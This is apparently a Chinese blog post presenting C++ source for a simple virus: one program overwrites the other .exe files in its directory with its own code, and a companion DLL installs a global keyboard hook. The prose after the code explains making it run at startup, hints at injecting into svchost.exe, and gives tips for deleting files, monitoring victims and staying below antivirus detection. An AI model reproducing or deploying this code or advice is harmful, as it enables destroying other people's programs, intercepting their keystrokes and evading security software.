病毒原理实例

#include 
#include 
#include 
using namespace std;

HMODULE g_hModule = NULL;

// 感染同目录下的exe
void Infection()
{
	// 把自己打开,准备感染
	char szFullFileName[MAX_PATH] = "";
	GetModuleFileName(NULL, szFullFileName, sizeof(szFullFileName) / sizeof(char));
	char szFileName[64] = "";
	const char *pChr = strrchr(szFullFileName, '\\');
	if (!pChr)
	{
		return ;
	}
	strcpy_s(szFileName, sizeof(szFileName), pChr + 1);
	FILE *pSelfFile = NULL;

	errno_t err = fopen_s(&pSelfFile, szFullFileName, "rb");
	if (err)
	{
		cerr << err << endl;
		return ;
	}

	fseek(pSelfFile, 0, SEEK_END);
	int nMySize = ftell(pSelfFile);
	fseek(pSelfFile, 0, SEEK_SET);

	// 把自己读入内存
	char *pszMySelf = new char[nMySize];
	if (!pszMySelf)
	{
		fclose(pSelfFile);
		return ;
	}
	memset(pszMySelf, 0, nMySize);
	fread(pszMySelf, nMySize / 10, 10, pSelfFile);

	// 取当前目录,准备搜索
	char szDir[MAX_PATH] = "";
	GetCurrentDirectory(sizeof(szDir) / sizeof(char), szDir);

	char szSearchFile[MAX_PATH] = "";
	strcpy_s(szSearchFile, sizeof(szSearchFile), szDir);
	strcat_s(szSearchFile, sizeof(szSearchFile), "\\*");

	WIN32_FIND_DATA fd;
	memset(&fd, 0, sizeof(WIN32_FIND_DATA));

	HANDLE hFile = FindFirstFile(szSearchFile, &fd);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		cerr << GetLastError() << endl;
		fclose(pSelfFile);
		return ;
	}

	// 循环读取exe文件,开始感染
	while(TRUE)
	{
		if (FALSE == FindNextFile(hFile, &fd))
		{
			break;
		}

		if (strcmp(fd.cFileName, szFileName) == 0)
		{
			continue ;
		}

		if (strstr(fd.cFileName, ".exe") != NULL)
		{
			char szDstFileFullPath[MAX_PATH] = "";
			strcpy_s(szDstFileFullPath, sizeof(szDstFileFullPath), szDir);
			strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), "\\");
			strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), fd.cFileName);

			FILE *pFile = NULL;
			fopen_s(&pFile, szDstFileFullPath, "r+b");
			fseek(pFile, 0, SEEK_SET);
			fwrite(pszMySelf, nMySize / 10, 10, pFile);
			fclose(pFile);

			cout << "已感染文件:" << szDstFileFullPath << endl;
		}
		else
		{
//			remove(fd.cFileName);
		}
	}

	fclose(pSelfFile);
	delete []pszMySelf;
}

void CreateKeyboardHook()
{
	g_hModule = LoadLibrary("Hook.dll");
	if (!g_hModule)
	{
		return ;
	}

	typedef void (*HookFunc)();
	HookFunc myHookFunc = (HookFunc)GetProcAddress(g_hModule, "SetHook");
	if (!myHookFunc)
	{
		FreeLibrary(g_hModule);
		return ;
	}
	myHookFunc();
}

int main()
{
	Infection();
	CreateKeyboardHook();

	system("pause");

	typedef void (*UnHookFunc)();
	UnHookFunc unHookFunc = (UnHookFunc)GetProcAddress(g_hModule, "UnHook");
	if (!unHookFunc)
	{
		FreeLibrary(g_hModule);
		return 1;
	}
	unHookFunc();

	FreeLibrary(g_hModule);

	return 0;
}
#include 

extern "C" _declspec(dllexport) void SetHook();
extern "C" _declspec(dllexport) void UnHook();

HHOOK g_KeyBoardHook = NULL;

LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (49 == wParam)
	{
		wParam = 50;
		::MessageBox(NULL, "你按了A,我帮你改成B", "关掉吧", MB_OK);
		return CallNextHookEx(g_KeyBoardHook, nCode, wParam, lParam);
	}
	else if (0 == wParam)
	{
		UnhookWindowsHookEx(g_KeyBoardHook);
	}
	return 1;
}

void SetHook()
{
	g_KeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardHook, GetModuleHandle("Hook"), 0);
}

void UnHook()
{
	UnhookWindowsHookEx(g_KeyBoardHook);
}

以上两个程序只是为了说明病毒的原理,其实,这只算是一段恶意的代码,第一段代码是主程序,编译成exe,第二段代码是dll文件,先编译一下dll文件,把lib文件放到主程序运行目录下,把dll文件放到病毒程序运行目录下,就可以了

1、病毒若想要自动运行,很简单,只要把我们的exe放入开始菜单的启动项就可以了,每次开机都会自动运行,如果高级点的话,就注入到别的进程里去吧,如svchost.exe,具体实现,下次有时间再讲解。

2、病毒感染,这是个很简单的过程,就是打开目标文件,把病毒文件一个字节一个字节的读出来,然后写入到目标文件,这样,目标文件就拥有与病毒文件相同的功能,也就是,如果目标是*.exe文件,那么,目标文件运行后也会跟源病毒文件做相同的事

3、病毒破坏作用,这个也很简单,想破坏个东西还不容易吗,删除文件就属于破坏行为了。如果想监控客户机,就安装个钩子吧,就像上面的代码一样,安装了个键盘钩子。

4、现在的计算机都安装有杀毒软件,想要入侵怎么办?最简单的办法,就是写个简单的破坏软件(这种软件杀毒软件不会报,杀毒软件是个苦差啊,有些是不能报的),就像上面的那两段代码,去掉钩子,杀毒软件就不会报了,接下来,就是简单的破坏了,只要不是写注册表,不安装钩子,不自动运行,杀软一般都不会报,当然,这也是去了病毒程序最好玩的地方

你可能感兴趣的:(病毒原理实例)